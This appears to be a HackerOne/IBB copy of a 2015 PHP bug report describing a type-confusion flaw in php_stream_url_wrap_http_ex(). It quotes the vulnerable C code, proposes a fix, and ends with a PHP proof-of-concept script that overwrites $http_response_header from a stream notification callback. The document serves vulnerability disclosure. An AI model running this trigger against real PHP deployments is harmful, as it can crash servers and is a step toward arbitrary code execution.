PHP (IBB): php_stream_url_wrap_http_ex() type-confusion vulnerability

2015-03-31T00:00:00
ID H1:73247
Type hackerone
Reporter mongo
Modified 2015-04-14T00:00:00

Description

https://bugs.php.net/bug.php?id=69337

Description:

php_stream_url_wrap_http_ex() creates a $http_response_header array variable in the local execution scope (which may be the global scope).

Then it gets a pointer to this variable, and throughout the function's execution accesses it multiple times, assuming that: 1) the variable still exists 1) the variable is indeed an array

ext/standard/http_fopen_wrapper.c:

    if (header_init) {
            zval *ztmp;
            MAKE_STD_ZVAL(ztmp);
            array_init(ztmp);
            ZEND_SET_SYMBOL(EG(active_symbol_table), "http_response_header", ztmp);
    }

    {
            zval **rh;
            zend_hash_find(EG(active_symbol_table), "http_response_header", sizeof("http_response_header"), (void **) &rh);
            response_header = *rh;
    }

    .....

    ZVAL_STRINGL(http_response, tmp_line, tmp_line_len, 1);
    zend_hash_next_index_insert(Z_ARRVAL_P(response_header), &http_response, sizeof(zval *), NULL);

However, by using the stream notifications feature, an attacker can change the type of the $http_response_header variable before the function has finished executing, resulting in a type-confusion vulnerability, which has been shown several times in the past to lead to arbitrary code execution.

There are numerous stream notification codes that can be used for this purpose: - STREAM_NOTIFY_REDIRECTED - STREAM_NOTIFY_AUTH_RESULT - STREAM_NOTIFY_FAILURE

And possibly others... The function should probably zval_add_ref() the $http_response_header as soon as its initialized, and then validate its type before every use, rather than assume its still an array.

Tested against: - 64-bit PHP 5.5.9-1ubuntu4.7 (cli) - 32-bit PHP 5.5.9-1ubuntu4.7 (cli) - 32/64-bit PHP 5.6.7 (cli) (built: Mar 27 2015 07:04:21) (DEBUG) - custom build with ./configure --enable-debug

Test script:

<?php function stream_notification_callback($notification_code, $severity, $message, $message_code, $bytes_transferred, $bytes_max) { if($notification_code == STREAM_NOTIFY_REDIRECTED) { // $http_response_header is now a string, but will be used as an array // by php_stream_url_wrap_http_ex() later on $GLOBALS['http_response_header'] = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa\0\0\0\0"; } }

$ctx = stream_context_create(); stream_context_set_params($ctx, array("notification" => "stream_notification_callback"));

file_get_contents("http://php.net/get-involved", false, $ctx); // any url that causes a http redirection ?>